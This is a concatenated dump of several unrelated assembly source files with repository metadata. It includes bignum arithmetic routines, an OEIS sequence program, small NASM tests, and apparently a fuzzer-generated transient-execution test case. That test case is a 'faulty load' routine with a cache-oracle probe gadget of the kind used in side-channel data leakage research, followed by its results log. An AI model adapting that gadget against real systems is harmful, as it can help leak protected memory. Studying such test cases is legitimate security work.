shr bp,1 ; div count by 4 and do groups of 4
shr bp,1
je $L555
$L546:
mov eax,ecx
mul DWORD PTR es:[bx] ; w* *a
add eax,DWORD PTR ds:[di] ; + *r
adc edx,0
adc eax,esi
adc edx,0
mov DWORD PTR ds:[di],eax
mov esi,edx
;
mov eax,ecx
mul DWORD PTR es:[bx+4] ; w* *a
add eax,DWORD PTR ds:[di+4] ; + *r
adc edx,0
adc eax,esi
adc edx,0
mov DWORD PTR ds:[di+4],eax
mov esi,edx
;
mov eax,ecx
mul DWORD PTR es:[bx+8] ; w* *a
add eax,DWORD PTR ds:[di+8] ; + *r
adc edx,0
adc eax,esi
adc edx,0
mov DWORD PTR ds:[di+8],eax
mov esi,edx
;
mov eax,ecx
mul DWORD PTR es:[bx+12] ; w* *a
add eax,DWORD PTR ds:[di+12] ; + *r
adc edx,0
adc eax,esi
adc edx,0
mov DWORD PTR ds:[di+12],eax
mov esi,edx
;
add bx,16
add di,16
;
dec bp
je $L555
jmp $L546
;
;
$L555:
mov bp,sp
mov bp,WORD PTR [bp+26] ; load num
and bp,3
dec bp
js $L547m
mov eax,ecx
mul DWORD PTR es:[bx] ; w* *a
add eax,DWORD PTR ds:[di] ; + *r
adc edx,0
adc eax,esi
adc edx,0
mov DWORD PTR ds:[di],eax
mov esi,edx
dec bp
js $L547m ; Note that we are now testing for -1
;
mov eax,ecx
mul DWORD PTR es:[bx+4] ; w* *a
add eax,DWORD PTR ds:[di+4] ; + *r
adc edx,0
adc eax,esi
adc edx,0
mov DWORD PTR ds:[di+4],eax
mov esi,edx
dec bp
js $L547m
;
mov eax,ecx
mul DWORD PTR es:[bx+8] ; w* *a
add eax,DWORD PTR ds:[di+8] ; + *r
adc edx,0
adc eax,esi
adc edx,0
mov DWORD PTR ds:[di+8],eax
mov esi,edx
$L547m:
mov eax,esi
mov edx,esi
shr edx,16
pop es
pop ds
pop di
pop esi
pop bx
pop bp
ret
nop
_bn_mul_add_words ENDP
PUBLIC _bn_mul_words
_bn_mul_words PROC FAR
; Line 76
push bp
push bx
push esi
push di
push ds
push es
xor esi,esi
mov bp,sp
mov di,WORD PTR [bp+18] ; r
mov ds,WORD PTR [bp+20]
mov bx,WORD PTR [bp+22] ; a
mov es,WORD PTR [bp+24]
mov ecx,DWORD PTR [bp+28] ; w
mov bp,WORD PTR [bp+26] ; num
$FC743:
mov eax,ecx
mul DWORD PTR es:[bx]
add eax,esi
adc edx,0
mov DWORD PTR ds:[di],eax
mov esi,edx
dec bp
je $L764
;
mov eax,ecx
mul DWORD PTR es:[bx+4]
add eax,esi
adc edx,0
mov DWORD PTR ds:[di+4],eax
mov esi,edx
dec bp
je $L764
;
mov eax,ecx
mul DWORD PTR es:[bx+8]
add eax,esi
adc edx,0
mov DWORD PTR ds:[di+8],eax
mov esi,edx
dec bp
je $L764
;
mov eax,ecx
mul DWORD PTR es:[bx+12]
add eax,esi
adc edx,0
mov DWORD PTR ds:[di+12],eax
mov esi,edx
dec bp
je $L764
;
add bx,16
add di,16
jmp $FC743
nop
$L764:
mov eax,esi
mov edx,esi
shr edx,16
pop es
pop ds
pop di
pop esi
pop bx
pop bp
ret
nop
_bn_mul_words ENDP
PUBLIC _bn_sqr_words
_bn_sqr_words PROC FAR
; Line 92
push bp
push bx
push si
push di
push ds
push es
mov bp,sp
mov si,WORD PTR [bp+16]
mov ds,WORD PTR [bp+18]
mov di,WORD PTR [bp+20]
mov es,WORD PTR [bp+22]
mov bx,WORD PTR [bp+24]
mov bp,bx ; save a memory lookup later
shr bx,1 ; div count by 4 and do groups of 4
shr bx,1
je $L666
$L765:
mov eax,DWORD PTR es:[di]
mul eax
mov DWORD PTR ds:[si],eax
mov DWORD PTR ds:[si+4],edx
;
mov eax,DWORD PTR es:[di+4]
mul eax
mov DWORD PTR ds:[si+8],eax
mov DWORD PTR ds:[si+12],edx
;
mov eax,DWORD PTR es:[di+8]
mul eax
mov DWORD PTR ds:[si+16],eax
mov DWORD PTR ds:[si+20],edx
;
mov eax,DWORD PTR es:[di+12]
mul eax
mov DWORD PTR ds:[si+24],eax
mov DWORD PTR ds:[si+28],edx
;
add di,16
add si,32
dec bx
je $L666
jmp $L765
$L666:
and bp,3
dec bp ; The copied value of bx (num)
js $L645
;
mov eax,DWORD PTR es:[di]
mul eax
mov DWORD PTR ds:[si],eax
mov DWORD PTR ds:[si+4],edx
dec bp
js $L645
;
mov eax,DWORD PTR es:[di+4]
mul eax
mov DWORD PTR ds:[si+8],eax
mov DWORD PTR ds:[si+12],edx
dec bp
js $L645
;
mov eax,DWORD PTR es:[di+8]
mul eax
mov DWORD PTR ds:[si+16],eax
mov DWORD PTR ds:[si+20],edx
$L645:
pop es
pop ds
pop di
pop si
pop bx
pop bp
ret
_bn_sqr_words ENDP
PUBLIC _bn_div64
_bn_div64 PROC FAR
push bp
mov bp,sp
mov edx, DWORD PTR [bp+6]
mov eax, DWORD PTR [bp+10]
div DWORD PTR [bp+14]
mov edx,eax
shr edx,16
pop bp
ret
_bn_div64 ENDP
PUBLIC _bn_add_words
_bn_add_words PROC FAR
; Line 58
push bp
push bx
push esi
push di
push ds
push es
mov bp,sp
; w = 28
; num = 26
; ap = 22
; rp = 18
xor esi,esi ;c=0;
mov si,WORD PTR [bp+22] ; load a
mov es,WORD PTR [bp+24] ; load a
mov di,WORD PTR [bp+26] ; load b
mov ds,WORD PTR [bp+28] ; load b
mov dx,WORD PTR [bp+30] ; load num
xor ecx,ecx
dec dx
js $L547a
$L5477:
xor ebx,ebx
mov eax,DWORD PTR es:[si] ; *a
add eax,ecx
adc ebx,0
add si,4 ; a++
add eax,DWORD PTR ds:[di] ; + *b
mov ecx,ebx
adc ecx,0
add di,4
mov bx,WORD PTR [bp+18]
mov ds,WORD PTR [bp+20]
mov DWORD PTR ds:[bx],eax
add bx,4
mov ds,WORD PTR [bp+28]
mov WORD PTR [bp+18],bx
dec dx
js $L547a ; Note that we are now testing for -1
jmp $L5477
;
$L547a:
mov eax,ecx
mov edx,ecx
shr edx,16
pop es
pop ds
pop di
pop esi
pop bx
pop bp
ret
nop
_bn_add_words ENDP
F_TEXT ENDS
END
| 16.586777 | 51 | 0.607872 |
711f4e829d9a09adaa7b1eb271d3046b072ee40b | 482 | asm | Assembly | oeis/044/A044368.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/044/A044368.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/044/A044368.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A044368: Numbers n such that string 3,6 occurs in the base 10 representation of n but not of n-1.
; Submitted by Christian Krause
; 36,136,236,336,360,436,536,636,736,836,936,1036,1136,1236,1336,1360,1436,1536,1636,1736,1836,1936,2036,2136,2236,2336,2360,2436,2536,2636,2736,2836,2936,3036,3136,3236,3336,3360,3436
add $0,3
mul $0,10
mov $1,$0
add $0,7
div $0,11
mul $0,22
add $0,34
sub $1,5
div $1,11
sub $1,1
mul $1,26
add $0,$1
add $0,$1
add $0,$1
div $0,4
sub $0,35
mul $0,4
| 21.909091 | 184 | 0.69917 |
091fdde7ffcce03922f877d8a37aa87d37406a40 | 6,869 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_1875.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_1875.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_1875.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x54, %rsi
lea addresses_A_ht+0x17a54, %rdi
nop
nop
nop
nop
add $26419, %r12
mov $24, %rcx
rep movsq
and %rcx, %rcx
lea addresses_D_ht+0x24d4, %rsi
lea addresses_UC_ht+0x17a14, %rdi
nop
nop
nop
nop
nop
and %r9, %r9
mov $52, %rcx
rep movsl
nop
nop
nop
nop
nop
xor $38312, %rcx
lea addresses_WC_ht+0x19588, %r9
nop
nop
inc %r15
mov (%r9), %si
nop
nop
nop
and %r12, %r12
lea addresses_A_ht+0x383c, %r9
nop
nop
add $64372, %rbp
movl $0x61626364, (%r9)
add $64862, %rsi
lea addresses_WC_ht+0x11954, %r15
nop
add %rsi, %rsi
mov $0x6162636465666768, %rdi
movq %rdi, %xmm4
movups %xmm4, (%r15)
add $20035, %rsi
lea addresses_WC_ht+0x17c54, %rsi
lea addresses_WT_ht+0x1d154, %rdi
clflush (%rdi)
nop
nop
nop
dec %r15
mov $18, %rcx
rep movsq
nop
nop
nop
nop
xor $219, %rbp
lea addresses_normal_ht+0xb154, %r12
sub %rcx, %rcx
movb $0x61, (%r12)
nop
nop
cmp $1448, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r15
push %r9
push %rbx
push %rsi
// Store
lea addresses_RW+0xb71c, %r9
nop
sub $61313, %r15
movl $0x51525354, (%r9)
nop
and %r15, %r15
// Load
lea addresses_WT+0x17c34, %rsi
inc %r12
movb (%rsi), %r14b
nop
nop
nop
dec %r12
// Store
lea addresses_D+0x7454, %rsi
nop
nop
nop
xor %r14, %r14
movw $0x5152, (%rsi)
add $29166, %r12
// Store
lea addresses_D+0xfd76, %r12
sub $57942, %r15
mov $0x5152535455565758, %r9
movq %r9, (%r12)
nop
nop
nop
nop
cmp $44586, %rbx
// Store
lea addresses_RW+0x19d54, %r15
nop
nop
xor %r9, %r9
mov $0x5152535455565758, %r14
movq %r14, %xmm3
vmovaps %ymm3, (%r15)
nop
nop
nop
and %rsi, %rsi
// Faulty Load
lea addresses_normal+0x10954, %r10
nop
nop
sub %rbx, %rbx
mov (%r10), %r9
lea oracles, %rbx
and $0xff, %r9
shlq $12, %r9
mov (%rbx,%r9,1), %r9
pop %rsi
pop %rbx
pop %r9
pop %r15
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 3}}
{'src': {'type': 'addresses_WT', 'AVXalign': True, 'size': 1, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': True, 'size': 32, 'NT': False, 'same': False, 'congruent': 8}}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'AVXalign': True, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': True}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 10}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 11}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 36.537234 | 2,999 | 0.654098 |
2f8f13c950171a911c4f8c251f91ab61d31e425a | 259 | asm | Assembly | src/test_include/test2.asm | hra1129/zma | c2bfc79df45e1d4d01c6faa1b69216245a4e1d2c | [
"MIT"
] | 8 | 2021-03-19T23:44:14.000Z | 2022-03-22T07:29:02.000Z | src/test_include/test2.asm | hra1129/zma | c2bfc79df45e1d4d01c6faa1b69216245a4e1d2c | [
"MIT"
] | null | null | null | src/test_include/test2.asm | hra1129/zma | c2bfc79df45e1d4d01c6faa1b69216245a4e1d2c | [
"MIT"
] | 1 | 2021-11-27T22:37:24.000Z | 2021-11-27T22:37:24.000Z | ; -----------------------------------------------------------------------------
; test program
; -----------------------------------------------------------------------------
hoge macro
include "sub.asm"
endm
hoge
hoge
include "sub_macro1.asm"
moge
| 17.266667 | 79 | 0.266409 |
8e990e30ce7daa5134306a661c38f2e17e93e106 | 597 | asm | Assembly | oeis/124/A124678.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/124/A124678.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/124/A124678.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A124678: Number of conjugacy classes in PSL_2(p), p = prime(n).
; Submitted by Jamie Morken(w4)
; 3,4,5,6,8,9,11,12,14,17,18,21,23,24,26,29,32,33,36,38,39,42,44,47,51,53,54,56,57,59,66,68,71,72,77,78,81,84,86,89,92,93,98,99,101,102,108,114,116,117,119,122,123,128,131,134,137,138,141,143,144,149,156,158,159,161,168,171,176,177,179,182,186,189,192,194,197,201,203,207,212,213,218,219,222,224,227,231,233,234,236,242,246,248,252,254,257,263,264,273
mul $0,2
mov $2,$0
sub $0,1
div $0,2
seq $0,8507 ; Number of odd composite numbers less than n-th odd prime.
mul $0,2
add $0,7
add $0,$2
div $0,2
| 42.642857 | 351 | 0.693467 |
c2660aa6f32fe6b802b743c2fba72c2900f7a0f3 | 1,281 | nasm | Assembly | Projetos/J-VMTranslator/bin/nasm/SimplePushTemp.nasm | gabrielvf1/Z01---Grupo-H | ef44894eb6a245c9b856802dd96ebe0051315602 | [
"Unlicense"
] | null | null | null | Projetos/J-VMTranslator/bin/nasm/SimplePushTemp.nasm | gabrielvf1/Z01---Grupo-H | ef44894eb6a245c9b856802dd96ebe0051315602 | [
"Unlicense"
] | 77 | 2018-03-09T12:33:31.000Z | 2018-05-18T10:42:22.000Z | Projetos/J-VMTranslator/bin/nasm/SimplePushTemp.nasm | gabrielvf1/Z01---Grupo-H | ef44894eb6a245c9b856802dd96ebe0051315602 | [
"Unlicense"
] | null | null | null | ; 0 - PUSH temp 0
leaw $5, %A
movw (%A), %D
leaw $SP, %A
movw (%A), %A
movw %D, (%A)
leaw $SP, %A
movw (%A), %A
incw %A
movw %A, %D
leaw $SP, %A
movw %D, (%A)
; 1 - PUSH temp 1
leaw $6, %A
movw (%A), %D
leaw $SP, %A
movw (%A), %A
movw %D, (%A)
leaw $SP, %A
movw (%A), %A
incw %A
movw %A, %D
leaw $SP, %A
movw %D, (%A)
; 2 - PUSH temp 2
leaw $7, %A
movw (%A), %D
leaw $SP, %A
movw (%A), %A
movw %D, (%A)
leaw $SP, %A
movw (%A), %A
incw %A
movw %A, %D
leaw $SP, %A
movw %D, (%A)
; 3 - PUSH temp 3
leaw $8, %A
movw (%A), %D
leaw $SP, %A
movw (%A), %A
movw %D, (%A)
leaw $SP, %A
movw (%A), %A
incw %A
movw %A, %D
leaw $SP, %A
movw %D, (%A)
; 4 - PUSH temp 4
leaw $9, %A
movw (%A), %D
leaw $SP, %A
movw (%A), %A
movw %D, (%A)
leaw $SP, %A
movw (%A), %A
incw %A
movw %A, %D
leaw $SP, %A
movw %D, (%A)
; 5 - PUSH temp 5
leaw $10, %A
movw (%A), %D
leaw $SP, %A
movw (%A), %A
movw %D, (%A)
leaw $SP, %A
movw (%A), %A
incw %A
movw %A, %D
leaw $SP, %A
movw %D, (%A)
; 6 - PUSH temp 6
leaw $11, %A
movw (%A), %D
leaw $SP, %A
movw (%A), %A
movw %D, (%A)
leaw $SP, %A
movw (%A), %A
incw %A
movw %A, %D
leaw $SP, %A
movw %D, (%A)
; 7 - PUSH temp 7
leaw $12, %A
movw (%A), %D
leaw $SP, %A
movw (%A), %A
movw %D, (%A)
leaw $SP, %A
movw (%A), %A
incw %A
movw %A, %D
leaw $SP, %A
movw %D, (%A)
; End
| 13.071429 | 17 | 0.491803 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.